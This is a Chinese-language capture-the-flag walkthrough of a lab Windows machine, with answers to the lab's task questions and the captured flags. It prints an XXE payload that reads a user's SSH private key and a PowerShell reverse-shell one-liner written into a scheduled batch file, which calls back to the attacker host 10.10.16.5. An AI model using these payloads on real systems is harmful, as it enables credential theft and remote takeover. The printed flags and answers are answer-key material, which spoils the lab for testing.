XXE注入漏洞工具
https://github.com/MartinxMax/MXXE
已经更新到1.2版本了,相比之前速度快很多
获取Windows服务器敏感文件
把数据包复制到payload.txt进行自动注入
$ python3 MXXE.py -lh 10.10.16.5 -user Daniel -server windows
幸运的是我们找到了服务器的私匙
Task 1
What version of Apache is running on the target's port 80?
(Apache服务在80端口运行的服务版本是多少?)
$ nmap -sC -sV 10.129.95.192 -p 80
2.4.41
Task 2
What username:password combination logs in successfully?
(网站后台登录密码是多少?)
admin:password
Task 3
What is the word at the top of the page that accepts user input?
(是什么字页的顶部,接受用户输入?)
order
Task 4
What XML version is used on the target?
(该目标XML版本是多少?)
1.0
Task 5
What does the XXE / XEE attack acronym stand for?
(XXE的全称?)
XML External Entity
Task 6
What username can we find on the webpage's HTML code?
(在网页上的HTML代码中可以找到一个什么用户名?)
Daniel
Task 7
What is the file located in the Log-Management folder on the target?
(目标上的Log-Management文件夹中的文件是什么?)
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/Users/daniel/.ssh/id_rsa'>]>
<order>
<quantity>
3
</quantity>
<item>
&test;
</item>
<address>
17th Estate, CA
</address>
</order>
获取Daniel用户ssh的私匙
$ vim id_rsa
$ chmod 400 id_rsa;ls -la id_rsa
这里id_rsa必须是400权限
$ ssh -i id_rsa [email protected]
SSH使用400权限限制私钥文件的读取权限是为了确保私钥的安全性。这意味着只有文件的所有者(通常是用户)可以读取它,而其他用户无法访问。
job.bat
Task 8
What executable is mentioned in the file mentioned before?
(之前提到的文件中提及了哪个可执行文件?)
wevtutil.exe
User Flag
032d2fc8952a8c24e39c8f0ee9918ef7
Root Flag
由于job.bat文件本身只能由管理员运行,我们可以试试运气,看看我们的用户组是否至少可以编辑文件,而不是运行它,或者在脚本和用户组或文件配置之间是否存在任何不匹配的权限。我们可以通过使用icacls命令来实现这一点
-
icacls 是 Windows 中的命令行工具,用于查看和修改文件或目录的访问控制列表(ACL)。ACL 包含了用于控制文件或目录访问权限的条目。使用 icacls 命令,你可以列出文件或目录的 ACL 条目,以及修改它们,例如添加或删除用户权限
使用icacls查看job.bat的权限可以发现,BUILTIN\Users组对该文件具有完全控制(F)。BUILTIN\Users组表示所有本地用户,其中包括
还有丹尼尔。我们可以通过将netcat传输到系统并修改脚本以执行反向shell来获得shell。
在此之前,我们需要检查job.bat文件中提到的wevtutil进程是否正在运行。
我们可以通过输入schtasks命令查看当前计划的任务。如果我们的权限级别不允许我们通过Windows命令行查看这个列表,我们可以快速使用powershell的ps命令,这代表了另一个针对服务器的安全错误配置
-
schtasks 是 Windows 中的命令行工具,用于创建、修改、删除和查询计划任务。计划任务允许你在预定的时间或特定事件发生时自动执行某些操作或运行特定的程序。通过 schtasks 命令,你可以管理计划任务的各种属性,如执行时间、重复间隔、触发器
重构job.bat
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5', 10032); $stream = $client.GetStream(); while($true){ $data = (New-Object System.IO.StreamReader($stream)).ReadLine(); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close()"
备份
PS>Invoke-WebRequest -Uri http://10.10.16.5/job.bat -UseBasicParsing -OutFile job.bat
过一会会自动执行job.bat反弹shell到主机
$ nc -lvnp 10032
> type C:/Users/administrator/Desktop/root.txt
f574a3e7650cebd8c39784299cb570f8
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)